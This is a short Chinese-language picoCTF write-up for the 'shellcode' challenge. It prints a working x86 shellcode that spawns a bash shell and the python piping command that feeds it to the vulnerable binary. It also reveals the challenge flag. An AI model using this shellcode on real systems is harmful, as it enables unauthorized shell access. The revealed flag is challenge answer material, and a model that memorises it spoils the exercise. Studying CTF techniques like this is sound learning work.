shellcode - Points: 200 - (Solves: 3299) ->我們可以看到程式碼裡有一段((void (*)())buf)(); 他把shellcode當成函式來呼叫
->然後我們去看提示,提示說看看網路上有沒有好的shellcode可以拿來用
->我們就可以用他的已知的shellcode
->所以們就先 cd /problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd
->我們輸入python -c "print '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'" | ./vuln
->發現它直接跑完沒有做動作
->我們嘗試加個cat讓他停下來做動作
->(python -c "print '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'" ; cat)| ./vuln
->發現他停下來了沒有直接結束程式還停在shellcode裡
->我們就cat flag.txt 就可以拿到我們要的flag了
->Flag:picoCTF{shellc0de_w00h00_b766002c}
以上是以我的理解打出來的如果有不對請教教我感恩!!Shellcode:遠程shellcode 藉由抓軟體漏洞獲得特定的shellcode,再經由C或Python撰寫遠端攻擊程式,進而取得對方電腦之root權限。